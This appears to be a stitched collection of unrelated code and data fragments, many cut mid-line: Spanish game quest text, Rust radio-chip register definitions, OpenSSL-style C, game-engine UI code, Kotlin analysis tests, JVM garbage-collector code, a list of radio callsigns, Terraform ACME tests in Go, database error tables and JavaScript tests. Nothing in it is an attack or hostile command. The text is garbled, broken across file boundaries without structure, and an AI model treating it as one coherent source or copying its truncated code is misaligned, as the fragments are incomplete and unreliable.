    ["D"] = "Te daré un arma, $N, pero primero debes ayudarme. Los Colmillarrantes al noroeste vinieron a mi campamento hace unas noches. No quisieron enfrentarme en combate, pero saben que mi vista es mala: ¡algunos me distrajeron con gruñidos mientras otros me robaban! ¡Los cobardes!$B$BSe llevaron un cofre de hierro, y dentro había algunas barras de acero forjado. Si puedes recuperarlas, te daré el arma que buscas.$B$BBusca el cofre de hierro dentro de los campamentos de los jabalíes y regresa con las barras de acero forjado.",
    ["O"] = "Lleva las Barras de Acero Forjado a Thun\'grim Firegaze en Los Baldíos.",
    ["T"] = "Acero Forjado",
  },
  [1504] = {
    ["D"] = "Ahora, observa la Tablilla de Verga, ya que contiene los glifos que necesitarás para la invocación. Llévalos al círculo en la tienda de Neeru Hojafuego al otro lado de la caverna. Allí podrás llamar al abisario.$b$bDebes derrotarlo usando cualquier medio físico y mágico que tengas a tu disposición. Cuando esto se complete, regresa a mí con los glifos de invocación y te mostraré cómo puedes atar a la criatura a tu voluntad.",
    ["O"] = "Usando los Glifos de Invocación, invoca y somete a un abisario, luego devuelve los Glifos de Invocación a Gan\'rul Bloodeye en Orgrimmar.",
    ["T"] = "El Vínculo",
  },
  [1505] = {
    ["D"] = "La Horda honra a sus guerreros porque su fuerza es incuestionable. Pero los verdaderamente grandes guerreros también son grandes estudiantes.$B$BBusca a Uzzek. Es un veterano de muchas batallas y ahora instruye a jóvenes guerreros en las formas del combate. Lo encontrarás al sur del Puesto de Vigilancia, la guarnición orca en la frontera entre los Baldíos y Durotar.",
    ["O"] = "Habla con Uzzek en el Puesto de Vigilancia Lejano.",
    ["T"] = "Veterano Uzzek",
  },
  [1506] = {
    ["D"] = "Tú allí. $n, ¿verdad?$b$bEspero que tu horario no esté ocupado, porque Gan\'rul quiere verte de inmediato. Lo encontrarás con los brujos mayores en la Grieta de las Sombras.$b$bBasado en mis tratos pasados con Gan\'rul, tu convocatoria es algo muy bueno o algo muy malo.",
    ["O"] = "Habla con Gan\'rul Ojosangre en Orgrimmar.",
    ["T"] = "La Llamada de Gan\'rul",
  },
  [1507] = {
    ["D"] = "Ha llegado el momento de que aprendas más sobre las magias de invocación. Aprenderás a i


 gdo2_inv: bool,
    pub gdo2_cfg: GDOCfg,
}

/// [`GDO1` Output Pin Configuration](https://www.ti.com/lit/ds/symlink/cc1101.pdf#%5B%7B%22num%22%3A256%2C%22gen%22%3A0%7D%2C%7B%22name%22%3A%22XYZ%22%7D%2C214%2C623%2C0%5D)
#[bitfield]
#[derive(Debug, Copy, Clone, BitfieldSpecifier)]
pub struct IOCFG1 {
    pub gdo_ds: bool,
    pub gdo1_inv: bool,
    pub gdo1_cfg: GDOCfg,
}

/// [`GDO0` Output Pin Configuration](https://www.ti.com/lit/ds/symlink/cc1101.pdf#%5B%7B%22num%22%3A256%2C%22gen%22%3A0%7D%2C%7B%22name%22%3A%22XYZ%22%7D%2C214%2C511%2C0%5D)
#[bitfield]
#[derive(Debug, Copy, Clone, BitfieldSpecifier)]
pub struct IOCFG0 {
    pub temp_sensor_enable: bool,
    pub gdo0_inv: bool,
    pub gdo0_cfg: GDOCfg,
}

/// [RX FIFO and TX FIFO Thresholds](https://www.ti.com/lit/ds/symlink/cc1101.pdf#%5B%7B%22num%22%3A321%2C%22gen%22%3A0%7D%2C%7B%22name%22%3A%22XYZ%22%7D%2C206%2C753%2C0%5D)
#[bitfield]
#[derive(Debug, Copy, Clone, BitfieldSpecifier)]
pub struct FIFOTHR {
    #[skip]
    __: bool,
    pub adc_retention: bool,
    pub close_in_rx: RXAttenuation,
    pub fifo_thr: FifoThreshold,
}

/// [Packet Automation Control 1](https://www.ti.com/lit/ds/symlink/cc1101.pdf#%5B%7B%22num%22%3A584%2C%22gen%22%3A0%7D%2C%7B%22name%22%3A%22XYZ%22%7D%2C215%2C513%2C0%5D)
#[bitfield]
#[derive(Debug, Copy, Clone, BitfieldSpecifier)]
pub struct PKTCTRL1 {
    pub pqt: B3,
    #[skip]
    __: bool,
    pub crc_autoflush: bool,
    pub append_status: bool,
    pub adr_chk: AdrChk,
}

/// [Packet Automation Control 0](https://www.ti.com/lit/ds/symlink/cc1101.pdf#%5B%7B%22num%22%3A591%2C%22gen%22%3A0%7D%2C%7B%22name%22%3A%22XYZ%22%7D%2C215%2C753%2C0%5D)
#[bitfield]
#[derive(Debug, Copy, Clone, BitfieldSpecifier)]
pub struct PKTCTRL0 {
    #[skip]
    __: bool,
    pub white_data: bool,
    pub pkt_format: PktFormat,
    #[skip]
    __: bool,
    pub crc_en: bool,
    pub length_config: LengthConfig,
}

/// [Frequency Synthesizer Control 1](https://www.ti.com/lit/ds/symlink/cc1101.pdf#%5B%7B%22num%22%3A578%2C%22gen%22%3A0%7D%2C%7B%22name%22%3A%22XYZ%22%7D%2C210%2C753%2C


char *)str->data;
	for (j=str->length; j>0; j--)
		{
		if ((*p >= ' ') && (*p <= '~'))
			BIO_printf(bp,"%c",*p);
		else if (*p & 0x80)
			BIO_printf(bp,"\\0x%02X",*p);
		else if ((unsigned char)*p == 0xf7)
			BIO_printf(bp,"^?");
		else	BIO_printf(bp,"^%c",*p+'@');
		p++;
		}
	BIO_printf(bp,"'\n");
	return 1;
	}

int unpack_revinfo(ASN1_TIME **prevtm, int *preason, ASN1_OBJECT **phold, ASN1_GENERALIZEDTIME **pinvtm, const char *str)
	{
	char *tmp = NULL;
	char *rtime_str, *reason_str = NULL, *arg_str = NULL, *p;
	int reason_code = -1;
	int ret = 0;
	unsigned int i;
	ASN1_OBJECT *hold = NULL;
	ASN1_GENERALIZEDTIME *comp_time = NULL;
	tmp = BUF_strdup(str);

	p = strchr(tmp, ',');

	rtime_str = tmp;

	if (p)
		{
		*p = '\0';
		p++;
		reason_str = p;
		p = strchr(p, ',');
		if (p)
			{
			*p = '\0';
			arg_str = p + 1;
			}
		}

	if (prevtm)
		{
		*prevtm = ASN1_UTCTIME_new();
		if (!ASN1_UTCTIME_set_string(*prevtm, rtime_str))
			{
			BIO_printf(bio_err, "invalid revocation date %s\n", rtime_str);
			goto err;
			}
		}
	if (reason_str)
		{
		for (i = 0; i < NUM_REASONS; i++)
			{
			if(!TINYCLR_SSL_STRCASECMP(reason_str, crl_reasons[i]))
				{
				reason_code = i;
				break;
				}
			}
		if (reason_code == OCSP_REVOKED_STATUS_NOSTATUS)
			{
			BIO_printf(bio_err, "invalid reason code %s\n", reason_str);
			goto err;
			}

		if (reason_code == 7)
			reason_code = OCSP_REVOKED_STATUS_REMOVEFROMCRL;
		else if (reason_code == 8)		/* Hold instruction */
			{
			if (!arg_str)
				{
				BIO_printf(bio_err, "missing hold instruction\n");
				goto err;
				}
			reason_code = OCSP_REVOKED_STATUS_CERTIFICATEHOLD;
			hold = OBJ_txt2obj(arg_str, 0);

			if (!hold)
				{
				BIO_printf(bio_err, "invalid object identifier %s\n", arg_str);
				goto err;
				}
			if (phold) *phold = hold;
			}
		else if ((reason_code == 9) || (reason_code == 10))
			{
			if (!arg_str)
				{
				BIO_printf(bio_err, "missing compromised time\n");
				goto err;
				}
			comp_time = ASN1_GENERALIZEDTIME_new();
			if (!ASN1_GENERALIZEDTIME_set_string(comp_time, arg_str))
				{
				BIO_printf(bio_err, "invalid compromised time %s\n", arg_str);
				goto err;
				}
			if (reason_code == 9)
				reason_code


] == rootIndex )
				continue;

			KeyValues *kv = m_hGroups->GetItemData( selection[ i ] );
			if ( !kv )
				continue;

			int groupNumber = kv->GetInt( "groupNumber" );
			if ( groupNumber < 0 || groupNumber >= groupCount )
			{
				const char *sliderName = kv->GetString( "text" );
				if ( sliderName && *sliderName )
				{
					m_SliderNames.AddString( sliderName );
				}
				continue;
			}

			CDmElement *element = groups[ groupNumber ];
			if ( !element )
				continue;

			const CDmrStringArray array( element, "selectedControls" );
			if ( array.IsValid() )
			{
				for ( int j = 0 ; j < array.Count(); ++j )
				{
					const char *sliderName = array[ j ];
					if ( sliderName && *sliderName )
					{
						m_SliderNames.AddString( sliderName );
					}
				}
			}
		}
	}

	// now notify the attribute slider panel
	CBaseAnimSetAttributeSliderPanel *attSliders = m_hEditor->GetAttributeSlider();
	if ( attSliders )
	{
		attSliders->SetVisibleControlsForSelectionGroup( m_SliderNames );
	}
}

void CBaseAnimSetControlGroupPanel::ChangeAnimationSet( CDmeAnimationSet *newAnimSet )
{
	bool changed = m_AnimSet.Get() != newAnimSet ? true : false;

	m_AnimSet = newAnimSet;

	if ( !m_AnimSet.Get() )
	{
		m_hGroups->RemoveAll();
		m_hSelectableIndices.RemoveAll();
		m_GroupList.RemoveAll();
		return;
	}

	// Compare groups
	bool bRebuildGroups = false;
	const CDmaElementArray< CDmElement > &groups = m_AnimSet->GetSelectionGroups();
	int c = groups.Count();
	if ( c != m_GroupList.Count() )
	{
		bRebuildGroups = true;
	}
	else
	{
		for ( int i = 0; i < c; ++i )
		{
			CDmElement *group = groups[ i ];
			if ( group == m_GroupList[ i ].Get() )
			{
				continue;
			}

			bRebuildGroups = true;
			break;
		}
	}

	if ( bRebuildGroups )
	{
		m_hGroups->SetFont( scheme()->GetIScheme( GetScheme() )->GetFont( "DefaultBold", IsProportional() ) );

		// Build a tree of every open item in the tree view
		OpenItemTree_t openItems;
		int nRootIndex = m_hGroups->GetRootItemIndex();
		if ( nRootIndex != -1 )
		{
			BuildOpenItemList( openItems, openItems.InvalidIndex(), nRootIndex );
		}

		m_hGroups->RemoveAll();
		m_hSelectableIndices.RemoveAll();
		m_GroupList.RemoveAll();

		// Create root
		int rootIndex = AddItemToTree( m_hGroups, "root", -1, Color( 128, 128, 128, 255 ), -1, (int)DMELEMENT_HANDLE_INVALID );

		Color defaultColor( 0, 128, 255, 255 );

		CAppUndoScopeGuard *guard = NULL;

		for ( int i = 0; i < c; ++i )
		{
			CDmElement *group = groups[ i ];

			if ( !group->HasAttribute( "treeColor" ) )
			{
				if ( !guard )
				{
					guard = new CAppUndoScopeGuard( NOTIFY_SETDIRTYFLAG, "Set Default Colors" );
				}
				group->SetValue< Color >( "treeColor", defaultColor );
			}
			int groupIndex = AddItemToTree( m_hGroups, group->GetName(), rootIndex, group->GetValue< Color >( "treeColor" ), i, (int)group->GetHandle() );

			const CDmrStringArray array


s NumericPTAAnalysisTest {

    /** Returns the post-state in CFG [entrypointCfgName] at block `Label.Address(0)` */
    private fun getPost(
        cfg: MutableSbfCFG,
        label: Label = Label.Address(0)
    ): MemoryDomainT {
        val cfgs = mutableListOf(cfg)
        val entrypoints = setOf(entrypointCfgName)
        val globals = newGlobalVariableMap()
        val prog = MutableSbfCallGraph(cfgs, entrypoints, globals, preservedCFGs = setOf())
        val memSummaries = MemorySummaries()
        val progWithTypes = annotateWithTypes(prog, memSummaries)
        val sbfTypeFac = ConstantSetSbfTypeFactory(SolanaConfig.ScalarMaxVals.get().toULong())
        val analysis = WholeProgramMemoryAnalysis(
            progWithTypes,
            memSummaries,
            sbfTypeFac,
            nodeAllocator.flagsFactory,
            processor = null)
        analysis.inferAll()
        val analysisResults = analysis.getResults()[entrypointCfgName]!!
        val post = analysisResults.getPost(label)
        assert(post != null)
        return post!!
    }

    @Test
    fun test01() {
        println("====== TEST 1 =======")
        val cfg = SbfTestDSL.makeCFG(entrypointCfgName) {
            bb(0) {
                r1 = r10
                BinOp.SUB(r1, 200)
                r1[0] = 42 // Immediate write of a value.
                exit()
            }
        }
        val post = getPost(cfg)
        val graph = post.getPTAGraph()
        val stack = graph.getStack()
        val cell = stack.getSucc(PTAField(PTAOffset(4096 - 200), 8))
        assert(cell != null)
        val pointedNode = cell!!.getNode()
        assert(pointedNode.isExactNode())
        assert(pointedNode.mustBeInteger())
        assert(pointedNode.flags.getInteger() == Constant(42))
    }

    @Test
    fun test02() {
        println("====== TEST 2 =======")
        val cfg = SbfTestDSL.makeCFG(entrypointCfgName) {
            bb(0) {
                r1 = r10
                BinOp.SUB(r1, 200)
                r2 = 42
                r1[0] = r2 // Write of the value of a register.
                exit()
            }
        }
        val post = getPost(cfg)
        val graph = post.getPTAGraph()
        val stack = graph.getStack()
        val cell = stack.getSucc(PTAField(PTAOffset(4096 - 200), 8))
        assert(cell != null)
        val pointedNode = cell!!.getNode()
        assert(pointedNode.isExactNode())
        assert(pointedNode.mustBeInteger())
        assert(pointedNode.flags.getInteger() == Constant(42))
    }

    @Test
    fun test03() {
        println("====== TEST 3 =======")
        val cfg = SbfTestDSL.makeCFG(entrypointCfgName) {
            bb(0) {
                r1 = r10
                BinOp.SUB(r1, 200)
                r2 = 42
                r1[0] = r2
                r1 = r10
                BinOp.SUB(r1, 200)
                r2 = r10[-200]
                r1[8] = r2 // Write of a value that has been read from the stack.
                exit()
            }
        }
        val post = getPost(cfg)
        val graph = post.getPTAGraph()
        val stack = graph.getStack()

        // First number.
        val cell1 = stack.getSucc(PTAField(PTAOffset(4096 - 200), 8))
        assert(cell1 != null)
        val pointedNode1 = cell1!!.getNode()
        assert(pointedNode1.isExactNode())
        assert(pointedNode1.mustBe


 current thread has already gone through the
    // OOM-during-evac protocol and has thus either never entered or successfully left
    // the evacuation region. Simply flip its TL oom-during-evac flag back off.
    ShenandoahThreadLocalData::set_oom_during_evac(thr, false);
  }
  assert(!ShenandoahThreadLocalData::is_oom_during_evac(thr), "TL oom-during-evac must be turned off");
}

void ShenandoahEvacOOMHandler::handle_out_of_memory_during_evacuation() {
  assert(ShenandoahThreadLocalData::is_evac_allowed(Thread::current()), "sanity");
  assert(!ShenandoahThreadLocalData::is_oom_during_evac(Thread::current()), "TL oom-during-evac must not be set");

  jint threads_in_evac = Atomic::load_acquire(&_threads_in_evac);
  while (true) {
    jint other = Atomic::cmpxchg(&_threads_in_evac, threads_in_evac, (threads_in_evac - 1) | OOM_MARKER_MASK);
    if (other == threads_in_evac) {
      // Success: wait for other threads to get out of the protocol and return.
      wait_for_no_evac_threads();
      return;
    } else {
      // Failure: try again with updated new value.
      threads_in_evac = other;
    }
  }
}

void ShenandoahEvacOOMHandler::clear() {
  assert(ShenandoahSafepoint::is_at_shenandoah_safepoint(), "must be at a safepoint");
  assert((Atomic::load_acquire(&_threads_in_evac) & ~OOM_MARKER_MASK) == 0, "sanity");
  Atomic::release_store_fence(&_threads_in_evac, (jint)0);
}
/*
 * Copyright (c) 2015, 2021, Red Hat, Inc. All rights reserved.
 * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
 *
 * This code is free software; you can redistribute it and/or modify it
 * under the terms of the GNU General Public License version 2 only, as
 * published by the Free Software Foundation.
 *
 * This code is distributed in the hope that it will be useful, but WITHOUT
 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
 * FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
 * version 2 for more details (a copy is included in the LICENSE file that
 * accompanied this code).
 *
 * You should have received a copy of the GNU General Public License version
 * 2 along with this work; if not, write to the Free Software Foundation,
 * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
 *
 * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
 * or visit www.oracle.com if you need additional information or have any
 * questions.
 *
 */

#ifndef SHARE_GC_SHENANDOAH_SHENANDOAHOOPCLOSURES_INLINE_HPP
#define SHARE_GC_SHENANDOAH_SHENANDOAHOOPCLOSURES_INLINE_HPP

#include "gc/shenandoah/shenandoahOopClosures.hpp"

#include "gc/shenandoah/shenandoahHeap.inline.hpp"
#include "gc/shenandoah/shenandoahMark.inline.hpp"

template<class T>
inline void ShenandoahMarkRefsSuperClosure::work(T* p) {
  ShenandoahMark::mark_through_ref<T>(p, _queue, _mark_context, _weak);
}

template<class T>
inline void ShenandoahMarkUpdateRefsSuperClosure::work(T* p) {
  // Update the location
  _heap->update_with_forwarded(p);

  // ...then do the usual thing
  ShenandoahMarkRefsSuperClosure::work<T>(p);
}


I
DD8GE
DD8HB
DD8HL
DD8HW
DD8IC
DD8IF
DD8IU
DD8IU/p
DD8JJ
DD8PSG
DD8SM
DD8UD
DD8VX
DD8ZJ
DD8ZX
DD8ZY
DD8ZY/M
DD8ZY/P
DD9BS
DD9BS/m
DD9BS/p
DD9BS/QRP
DD9EL
DD9EN
DD9FJ
DD9HK
DD9LW
DD9NT
DD9NT/am
DD9NT/m
DD9NT/mm
DD9NT/p
DD9OR
DD9PY
DD9ST
DD9WG
DD9WL
DD9ZZ
DE0BAH
DE0MKH
DE0MSD
DE0SMF
DE0WAL
DE1APJ
DE1APQ
DE1CFH
DE1DFF
DE1EDD
DE1JPJ
DE1KPS
DE1KWA
DE1LAE
DE1LDH
DE1MKH
DE1MPN
DE1MRK
DE1NFN
DE1NOR
DE1RLL
DE1RPO
DE1TVN
DE1UIP
DE2FFI
DE2HBD
DE2HML
DE2HWM
DE2KPH
DE2LBB
DE2MCS
DE2MEL
DE2NGF
DE2PKE
DE2PKH
DE2PSG
DE2RWB
DE2SWL
DE2WAF
DE3APM
DE3BAD
DE3BRD
DE3ESD
DE3HFR
DE3JFB
DE3MKM
DE4ABB
DE4JGW
DE4WBB
DE5EDE
DE5HGS
DE5HWK
DE5JWL
DE5MIC
DE5NBK
DE5PCN
DE5SVE
DE5TMM
DE5VDA
DE6CTM
DE6HHW
DE6HPC
DE6KDP
DE6MSW
DE6SWR
DE6SWR/mm
DE6SYL
DE7ANE
DE7CLR
DE8FPR
DE8MSH
DE8PGF
DE9HGS
DE9ZZZ
DF0ACW
DF0AD
DF0AD/p
DF0AFZ
DF0AGC
DF0AT
DF0BAU
DF0BUS
DF0CCC
df0che
DF0CK
DF0DC
DF0DFF
DF0DG
DF0FAW
DF0FK
DF0FN
DF0IA
DF0IR
DF0JB
DF0JUH
DF0KA
DF0KH
DF0KY
DF0LP
DF0LQ
DF0LQ/P
DF0M
DF0M/P
DF0MV
DF0PDF
DF0RSA
DF0RSA/p
DF0SG
DF0SR
DF0TF
DF0TWN
DF0UI
DF0WBS
DF0WFB
DF0WFB/A
DF0WFB/LH
DF0WFF
DF0WFF/P
DF0WH
DF0WOL
DF0WSB
DF0WSB/P
DF0ZM
DF1AJ
DF1AN
DF1AN/p
DF1AU
DF1BGQ
DF1BV
DF1BV/m
DF1CH
DF1CHB
DF1CHB/AM
DF1CHB/M
DF1CHB/P
DF1CWQ
DF1DE
DF1DGE
DF1DN
DF1EU
DF1FB
DF1GD
DF1GN
DF1GP
DF1GU
DF1GW
DF1HD
DF1HPK
DF1HY
DF1IAV
DF1JC
DF1JM
DF1JSF
DF1KAG
DF1KBN
DF1MAR
DF1MM
DF1NIF
DF1OE
DF1OLS
DF1OY
DF1OZ
DF1PAW
DF1PH
DF1PT
DF1PY
DF1QQ
DF1QR
D


	}
	if v := os.Getenv("ACME_CERT_DOMAIN"); v == "" {
		t.Fatal("ACME_CERT_DOMAIN must be set for the certificate acceptance test")
	}
	if v := os.Getenv("AWS_PROFILE"); v == "" {
		if v := os.Getenv("AWS_ACCESS_KEY_ID"); v == "" {
			t.Fatal("AWS_ACCESS_KEY_ID must be set for the certificate acceptance test")
		}
		if v := os.Getenv("AWS_SECRET_ACCESS_KEY"); v == "" {
			t.Fatal("AWS_SECRET_ACCESS_KEY must be set for the certificate acceptance test")
		}
	}
	if v := os.Getenv("AWS_DEFAULT_REGION"); v == "" {
		log.Println("[INFO] Test: Using us-west-2 as test region")
		os.Setenv("AWS_DEFAULT_REGION", "us-west-2")
	}
}

func testAccPreCheckCertZoneID(t *testing.T) {
	if v := os.Getenv("ACME_R53_ZONE_ID"); v == "" {
		t.Fatal("ACME_R53_ZONE_ID must be set for the static configuration certificate acceptance test")
	}
}

func testAccACMECertificateConfig() string {
	return fmt.Sprintf(`
variable "email_address" {
  default = "%s"
}

variable "domain" {
  default = "%s"
}

resource "tls_private_key" "private_key" {
  algorithm = "RSA"
}

resource "acme_registration" "reg" {
  account_key_pem = "${tls_private_key.private_key.private_key_pem}"
  email_address   = "${var.email_address}"
}

resource "acme_certificate" "certificate" {
  account_key_pem           = "${acme_registration.reg.account_key_pem}"
  common_name               = "www.${var.domain}"
  subject_alternative_names = ["www2.${var.domain}"]

  dns_challenge {
    provider = "route53"
  }
}
`, os.Getenv("ACME_EMAIL_ADDRESS"), os.Getenv("ACME_CERT_DOMAIN"))
}

func testAccACMECertificateCSRConfig() string {
	return fmt.Sprintf(`
variable "email_address" {
  default = "%s"
}

variable "domain" {
  default = "%s"
}

resource "tls_private_key" "reg_private_key" {
  algorithm = "RSA"
}

resource "acme_registration" "reg" {
  account_key_pem = "${tls_private_key.reg_private_key.private_key_pem}"
  email_address   = "${var.email_address}"
}

resource "tls_private_key" "cert_private_key" {
  algorithm = "RSA"
}

resource "tls_cert_request" "req" {
  key_algorithm   = "RSA"
  private_key_pem = "${tls_private_key.cert_private_key.private_key_pem}"
  dns_names       = ["www3.${var.domain}", "www4.${var.domain}"]

  subject {
    common_name  = "www3.${var.domain}"
  }
}

resource "acme_certificate" "certificate" {
  account_key_pem         = "${acme_registration.reg.account_key_pem}"
  certificate_request_pem = "${tls_cert_request.req.cert_request_pem}"

  dns_challenge {
    provider = "route53"
  }
}
`, os.Getenv("ACME_EMAIL_ADDRESS"), os.Getenv("ACME_CERT_DOMAIN"))
}

func testAccACMECertificateWithDNSProviderConfig(params map[string]st


[doc = "Write proxy for field `CAP1_I`"]
pub struct CAP1_I_W<'a> {
    w: &'a mut W,
}
impl<'a> CAP1_I_W<'a> {
    #[doc = r"Writes `variant` to the field"]
    #[inline(always)]
    pub fn variant(self, variant: CAP1_I_A) -> &'a mut W {
        {
            self.bit(variant.into())
        }
    }
    #[doc = "Disabled. This feature is disabled."]
    #[inline(always)]
    pub fn disabled_this_featu(self) -> &'a mut W {
        self.variant(CAP1_I_A::DISABLED_THIS_FEATU)
    }
    #[doc = "Interrupt. A CR1 load due to a PWMn_CAP1 event will generate an interrupt."]
    #[inline(always)]
    pub fn interrupt_a_cr1_loa(self) -> &'a mut W {
        self.variant(CAP1_I_A::INTERRUPT_A_CR1_LOA)
    }
    #[doc = r"Sets the field bit"]
    #[inline(always)]
    pub fn set_bit(self) -> &'a mut W {
        self.bit(true)
    }
    #[doc = r"Clears the field bit"]
    #[inline(always)]
    pub fn clear_bit(self) -> &'a mut W {
        self.bit(false)
    }
    #[doc = r"Writes raw bits to the field"]
    #[inline(always)]
    pub fn bit(self, value: bool) -> &'a mut W {
        self.w.bits = (self.w.bits & !(0x01 << 5)) | (((value as u32) & 0x01) << 5);
        self.w
    }
}
impl R {
    #[doc = "Bit 0 - Capture on PWMn_CAP0 rising edge"]
    #[inline(always)]
    pub fn cap0_r(&self) -> CAP0_R_R {
        CAP0_R_R::new((self.bits & 0x01) != 0)
    }
    #[doc = "Bit 1 - Capture on PWMn_CAP0 falling edge"]
    #[inline(always)]
    pub fn cap0_f(&self) -> CAP0_F_R {
        CAP0_F_R::new(((self.bits >> 1) & 0x01) != 0)
    }
    #[doc = "Bit 2 - Interrupt on PWMn_CAP0 event"]
    #[inline(always)]
    pub fn cap0_i(&self) -> CAP0_I_R {
        CAP0_I_R::new(((self.bits >> 2) & 0x01) != 0)
    }
    #[doc = "Bit 3 - Capture on PWMn_CAP1 rising edge. Reserved for PWM0."]
    #[inline(always)]
    pub fn cap1_r(&self) -> CAP1_R_R {
        CAP1_R_R::new(((self.bits >> 3) & 0x01) != 0)
    }
    #[doc = "Bit 4 - Capture on PWMn_CAP1 falling edge. Reserved for PWM0."]
    #[inline(always)]
    pub fn cap1_f(&self) -> CAP1_F_R {
        CAP1_F_R::new(((self.bits >> 4) & 0x01) != 0)
    }
    #[doc = "Bit 5 - Interrupt on PWMn_CAP1 event. Reserved for PWM0."]
    #[inline(always)]
    pub fn cap1_i(&self) -> CAP1_I_R {
        CAP1_I_R::new(((self.bits >> 5) & 0x01) != 0)
    }
}
impl W {
    #[doc = "Bit 0 - Capture on PWMn_CAP0 rising edge"]
    #[inline(always)]
    pub fn cap0_r(&mut self) -> CAP0_R_W {
        CAP0_R_W { w: self


 no document " +
				"sampling mechanism available.",
		},
		Action: []string{
			"Ensure flags permit at least one supported document sampling mechanism and that any required indexes are available.",
		},
		IsUser: MAYBE,
		AppliesTo: []string{
			"Server",
		},
	},
	{
		Code:        E_INFER_OPTIONS, // 7023
		symbol:      "E_INFER_OPTIONS",
		Description: "Options must be provided",
		AppliesTo: []string{
			"Server",
		},
	},
	{
		Code:        E_INFER_NEXT_DOCUMENT, // 7024
		symbol:      "E_INFER_NEXT_DOCUMENT",
		Description: "NextDocument failed",
		Reason: []string{
			"An error occurred retrieving a document from a sub-query for an INFER statement.",
		},
		Action: []string{
			"Review the referenced error for appropriate actions.",
			"Contact support.",
		},
		AppliesTo: []string{
			"Server",
		},
	},
	{
		Code:        W_INFER_INVALID_FLAGS, // 7025
		symbol:      "W_INFER_INVALID_FLAGS",
		Description: "'flags' must be a number, a string or an array not: «type»",
		Reason: []string{
			"An invalid value was passed as the INFER statement's ˝flags˝ option.",
		},
		Action: []string{
			"Revise the statement and provide a valid value for the option.",
		},
		IsUser:    YES,
		IsWarning: true,
		AppliesTo: []string{
			"Server",
		},
	},
	{
		Code:        W_INFER_INVALID_FLAG, // 7026
		symbol:      "W_INFER_INVALID_FLAG",
		Description: "'flags' array element «element» is invalid",
		Reason: []string{
			"An invalid value included in the array passed as the INFER statement's ˝flags˝ option.",
		},
		Action: []string{
			"Revise the statement and provide a valid values in the array.",
		},
		IsUser:    YES,
		IsWarning: true,
		AppliesTo: []string{
			"Server",
		},
	},
	{
		Code:        E_MIGRATION, // 7200
		symbol:      "E_MIGRATION",
		Description: "Error occurred during «what» migration «details»",
		Reason: []string{
			"An upgrade from an earlier version triggered migration of the component which encountered an error.",
		},
		Action: []string{
			"Contact support.",
		},
		AppliesTo: []string{
			"Server",
		},
	},
	{
		Code:        E_MIGRATION_INTERNAL, // 7201
		symbol:      "E_MIGRATION_INTERNAL",
		Description: "Unexpected error occurred during «what» migration «details»",
		Reason: []string{
			"An upgrade from an earlier version triggered migration of the component which encountered an error.",
		},
		Action: []string{
			"Contact support.",
		},
		AppliesTo: []string{
			"Server",
		},
	},
	{
		Code:        E_BACKUP_NOT_POSSIBLE, // 7300
		symbol:      "E_BACKUP_NOT_POSSIBLE",
		Description: "Metadata backup not possible.",
		Reason: []string{
			"A backup has been attempted whilst metadata migration is underway.",
		},
		Action: []string{
			"Wait for the migration to complete before attempting to backup the Query node(s).",
		},
		AppliesTo: []string{
			"Server",
		},
	},
	{
		Code:        E_DATASTORE_AUTHORIZATION, // 10000
		symbol:      "E_DATASTORE_AUTHORIZATION",
		Description: "Unable to authorize user.",
		Reason: []string{
			"Authorisation for the user failed with the indicated error.",
		},
		Action: []stri


ame}/${file}`]);

          let wcOutput3 = '';
          wc3.stdout.on('data', (piece) => wcOutput3 += piece);

          wc3.on('close', () => {
            const wcOutputAsArray3 = wcOutput3.split(/\s+/);
            console.log(`El archivo ${file} tiene ${wcOutputAsArray3[3]} caracteres`);
          });
          break;

        case 4:
          const wc4 = spawn('wc', [`${__dirname}/${file}`]);

          let wcOutput4 = '';
          wc4.stdout.on('data', (piece) => wcOutput4 += piece);

          wc4.on('close', () => {
            const wcOutputAsArray4 = wcOutput4.split(/\s+/);
            console.log(`El archivo ${file} tiene ${wcOutputAsArray4[1]} líneas`);
            console.log(`El archivo ${file} tiene ${wcOutputAsArray4[2]} palabras`);
            console.log(`El archivo ${file} tiene ${wcOutputAsArray4[3]} caracteres`);
          });
          break;
        default:
          return 'Ha especificado una opción incorrecta';
          break;
      }
    }
  } catch (error) {
    console.log(`Error: ${error.message}`);
    return error.message;
  }
}

// console.log(counts('../../typedoc.json', 4));
import { tag } from '../tag';

describe('tag', () => {
  describe('tag``', () => {
    it('should split the string on whitespace', () => {
      const splits = tag`abc def`;
      expect(splits).toEqual(['abc', 'def']);
    });

    it('should not split whitespace inside interpolation', () => {
      const splits = tag`abc ${'def ghi'} jkl`;
      expect(splits).toEqual(['abc', 'def ghi', 'jkl']);
    });

    it('should combine adjacent strings with interpolation', () => {
      let splits = tag`a${'bc'} def`;
      expect(splits).toEqual(['abc', 'def']);

      splits = tag`${'ab'}c def`;
      expect(splits).toEqual(['abc', 'def']);
    });

    it('should handle the special case where there is whitespace between two interpolations', () => {
      const splits = tag`${'abc'}       ${'def'}`;
      expect(splits).toEqual(['abc', 'def']);
    });

    it('should combine adjacent strings on either side', () => {
      const splits = tag`ab${'cd'}ef`;
      expect(splits).toEqual(['abcdef']);
    });

    it('should ignore leading/trailing whitespace', () => {
      const splits = tag`     abcde fghi  ${'jkl'}  `;
      expect(splits).toEqual(['abcde', 'fghi', 'jkl']);
    });

    it('should treat newlines the same as other whitespace outside interpolcation', () => {
      const val = 'my value';
      const splits = tag`
        mycommand
        --arg=${val}
        --otherArg=true
      `;

      expect(splits).toEqual([
        'mycommand',
        '--arg=my value',
        '--otherArg=true',
      ]);
    });

    it('should respect newlines in interpolation', () => {
      const multilineMessage = `this is my summary

This is the message body`;

      const splits = tag`git commit -m ${multilineMessage}`;

      expect(splits).toEqual(['git', 'commit', '-m', multilineMessage]);
    });
  });
});
import { Action } from "@ngrx/store";
import { User } from "../user.model";

// Identifiers must be unique!
export const SIGN_IN_START = '[Auth] SIGN_IN_START';
export const AUTHENTICATE


1, WordForm.Abbreviation, GrammaticalGender.Feminine, "es-ES", "1.ª")]
        [InlineData(1, WordForm.Normal, GrammaticalGender.Masculine, "en-US", "1st")]
        [InlineData(1, WordForm.Normal, GrammaticalGender.Feminine, "en-US", "1st")]
        public void OrdinalizeNumberWithOverridenCultureAndGenderAndForm(
            int number,
            WordForm wordFo


ist,
        IDirectMusicObject **dmobj);

/* Generic IPersistStream methods */
HRESULT WINAPI dmobj_IPersistStream_QueryInterface(IPersistStream *iface, REFIID riid,
